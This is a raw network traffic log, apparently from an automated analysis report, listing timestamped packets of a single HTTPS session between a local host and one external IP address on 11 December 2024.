Dec 11, 2024 12:44:34.596048117 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.596048117 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.597590923 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.597630978 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.597779036 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.597779989 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.597779989 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.597810984 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.597919941 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.599251032 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.599286079 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.599396944 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.599426031 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.599441051 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.599441051 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.599498987 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.599567890 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.601284981 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.601320982 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.601454020 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.601454020 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.601490021 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.601490021 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.601505995 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.601566076 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.601597071 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.601859093 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.603878975 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.603910923 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.603998899 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.604041100 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.604192972 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.604218960 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.604234934 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.604398012 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.675868988 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.814544916 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.814577103 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.814800024 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.814800024 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.814826012 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.814994097 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.816469908 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.816502094 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.816750050 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.816750050 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.816750050 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.816780090 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.816796064 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.816869020 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.816951990 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.818411112 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.818442106 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.818586111 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.818613052 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.818613052 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.818629026 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.818660021 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.818660021 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.818762064 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.820348978 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.820385933 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.820502996 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.820502996 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.820585966 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.820611000 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.820672035 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.820749998 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.822240114 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.822278976 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.822376966 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.822427988 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.822428942 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.822443962 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.822525978 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.822526932 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.822619915 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.823458910 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.823609114 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.823609114 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.823610067 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.823704958 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.823714018 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.823817968 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.825648069 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.825685024 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.825835943 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.825864077 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.825864077 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.825864077 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.825881004 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.825932980 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.826036930 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.826493979 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.827873945 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.827909946 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.827991009 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.827991009 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.828150988 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.828176022 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.828347921 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.828533888 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.828787088 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.830410957 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.830442905 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.830583096 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.830583096 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.830712080 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.830737114 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.830907106 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.832956076 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.832972050 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.832987070 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.833153009 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.833286047 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.833333969 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.833348989 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.833383083 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.833487988 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.834794998 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.834830999 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.834975004 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.835002899 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.835002899 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.835019112 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.835081100 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.835081100 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.835167885 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.836690903 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.836723089 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.836843967 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.836890936 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.836890936 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.836890936 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.836908102 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.836941957 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.837053061 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.838675022 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.838710070 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.838856936 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.838856936 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.838888884 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.838888884 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.838902950 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.838968039 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.839071035 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.841059923 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.841090918 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.841242075 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.841242075 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.841272116 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.841272116 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.841285944 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.841348886 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.841450930 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.842998028 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.843033075 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.843194008 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.843194008 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.843224049 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.843235970 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.843322992 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.843413115 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.844841003 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.844868898 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.844997883 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.845077038 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.845077038 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.845104933 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.845120907 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.845120907 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.845242023 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.845719099 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.846792936 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.846823931 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.846962929 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.846962929 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.846992970 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.847006083 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.847040892 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.847040892 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.847198963 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.848720074 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.848752975 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.848858118 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.848858118 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.848901987 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.848901987 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.848912001 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.848951101 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.848951101 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.849090099 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.851242065 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.851268053 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.851428032 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.851428032 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.851457119 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.851457119 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.851469040 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.851531982 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.851689100 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.853004932 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.853030920 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.853223085 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.853223085 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.853244066 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.853324890 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.853420973 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.853948116 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.854187012 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.854264975 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.854264975 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.897790909 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.904462099 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.061394930 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.061657906 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.063780069 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.063812971 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.063963890 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.063963890 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.064006090 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.064023972 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.064058065 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.064204931 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.065747976 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.065783024 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.065963030 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.065963030 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.065995932 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.066015005 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.066080093 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.066286087 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.067652941 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.067688942 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.067816019 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.067816019 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.067845106 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.067857981 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.067964077 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.068057060 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.069531918 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.069674015 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.069685936 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.069713116 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.069793940 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.069823980 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.069866896 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.069937944 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.071448088 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.071480036 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.071712971 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.071741104 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.071845055 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.071870089 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.071885109 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.071885109 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.072005987 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.073477030 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.073513031 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.073657990 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.073658943 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.073688984 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.073688984 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.073702097 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.073849916 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.073849916 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.075320959 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.075802088 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.075834036 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.076064110 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.076167107 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.076190948 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.076206923 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.076280117 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.076415062 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.077792883 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.077821016 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.077979088 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.077979088 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.078020096 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.078037024 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.078126907 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.078212976 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.078597069 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.079726934 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.079760075 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.079849005 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.079927921 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.079927921 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.079956055 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.080059052 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.080059052 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.081892967 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.081932068 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.082071066 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.082071066 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.082098961 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.082114935 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.082185030 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.084090948 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.084125996 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.084244967 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.084244967 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.084270954 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.084290028 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.084290028 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.084352970 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.084382057 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.086055040 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.086095095 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.086194038 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.086230993 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.086249113 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.086249113 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.086325884 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.086325884 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.086432934 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.087838888 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.087949991 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.087969065 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.087969065 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.088051081 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.088085890 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.088100910 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.088169098 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.089844942 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.089878082 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.090040922 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.090040922 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.090070963 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.090091944 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.090143919 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.091730118 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.091794968 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.091826916 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.091962099 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.092067003 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.092084885 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.094187021 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.094233036 CET	443	49757	172.67.128.139	192.168.11.20
